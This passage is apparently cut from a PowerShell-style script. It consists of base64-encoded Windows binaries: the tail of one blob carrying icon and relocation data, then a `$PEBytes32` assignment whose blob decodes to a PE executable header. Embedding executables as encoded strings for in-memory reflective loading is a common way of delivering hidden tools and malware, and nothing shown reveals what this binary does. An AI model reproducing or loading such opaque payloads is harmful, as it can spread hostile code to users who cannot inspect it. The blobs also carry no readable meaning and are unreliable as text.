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r+KsArAisEKwYrCCsKKwwrDisQKxIrFCsWKxgrGiscKx4rICsiKyQrJisoKyorLCsuKzArMis0KzorPCs+KwArQitEK0YrSCtKK0wrTitWK5grmiucK54roCuiK6QrpiuoK6orrCuuK7Arsiu0K7YruCu6K7wrviuAK8IryCvQK9gr4CviK+gr6ivwK/Ir9Cv2K/gr+iv8K8AAADAAQBcAgAACKAgoCigMKA4oECgSKBQoFigYKBooHCgeKCAoIigoKC4oMCgyKDYoPCg+KAAoQihEKEYoSChKKEwoTihQKFIoVChWKFgoWihcKF4oYChiKGQoZihoKG4odCh2KHgoeih8KH4oQCiCKIQohiiIKIoojCiOKJAokiiUKJYomCiaKJwoniigKKIopCimKKgoqiisKK4osCiyKLQotii4KLoovCi+KIAowijEKMoo0CjSKNQo1ijYKN4o5CjmKOgo6ijsKO4o8CjyKPQo9ij4KP4oxCkGKQgpCikMKQ4pECkSKRQpFikYKRopHCkeKSApIikkKSgpKikwKTIpNCk2KTgpPikEKUYpSClKKUwpTilQKVIpVClWKVgpWilAKYQphimIKYwpjimUKZYpnCmeKaAppCmmKagprCmuKbAptCm2KbwpvimEKcYpzCnOKdQp1incKd4p5CnmKewp7in0KfYp/Cn+KcAqAioEKgYqCCoKKgwqDioUKhwqHiogKiIqJComKigqKiosKi4qMCoyKjQqNio4KjoqPCo+KgAqQipIKkoqTCpQKlQqWCpcKmAqZCpoKmwqcCpyKnQqdip4KnoqfCp+KkAqgiqEKoYqiCqKKowqjiqQKpIqlCqWKpgqmiqcKp4qoCqkKqgqrCqwKrQquCq8KoAqxCrIKswq0CrUKtgq3CrgKuQq8CryKvQq9ir4Kvoq/Cr+KsArAisEKwYrCCsKKwwrDisQKxIrFCsWKxgrGiscKx4rICsiKyQrJisoKyorLCsuKzArMis2KzgrOisAAAA0AIApAAAABCgGKAooCCjKKM4o4Cj0KMgpGCkaKR4pMCkAKUIpRilgKXQpSCmYKZopnimsKa4psimEKdQp1inaKeYp6CnqKfApxCoYKigqLioMKmAqdCpIKpwqrCqyKoAqwirGKtwq8CrEKxgrLCsAK1ArUitUK1YrWCtaK1wrXitgK2IrZCtmK2graitCK4QroCukK7QruCuIK8wr3CvgK8AAADgAgC4AAAAEKAgoGCgcKCwoMCgAKEQoUChSKFQoVihYKFooXChoKGwoeCh6KHwofihAKIIohCiGKIgoiiiMKI4okCiSKJwooCiwKLQohCjIKOgo7Cj8KMApECkUKTApNCkEKUgpWClsKUApnCmgKbAptCmEKcgp1inkKeYp6CnqKewp7inwKfIp9Cn2Kfgp+in8Kf4pwCoCKgQqBioIKgoqDCoOKhAqEioUKhYqGCoaKhwqHioAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" - $PEBytes32 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAAVHpCIUX/+21F//ttRf/7bWAdr21R//ttYB3rbXH/+21gHbdtTf/7bWAd9221//ttK4mLbU3/+28qUNdtTf/7bknCj20J//ttRf//bpX/+23a5gNtQf/7bWAd3231//ttYB2zbUH/+21gHattQf/7bWAdv21B//ttSaWNoUX/+2wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBFAABMAQUA43p7UwAAAAAAAAAA4AACIQsBCQAARAEAAGoBAAAAAAALBQEAABAAAABgAQAAAAAQABAAAAACAAAFAAAAAAAAAAUAAAAAAAAAAOACAAAEAAAAAAAAAwBAAQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAADBVAgBeAAAAXEACAAQBAAAAgAIA+D8AAAAAAAAAAAAAAAAAAAAAAAAAwAIAZBcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAQCQAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAABYQgEAABAAAABEAQAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAjvUAAABgAQAA9gAAAEgBAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAAwXAAAAYAIAABQAAAA+AgAAAAAAAAAAAAAAAABAAADALnJzcmMAAAD4PwAAAIACAABAAAAAUgIAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAAchoAAADAAgAAHAAAAJICAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA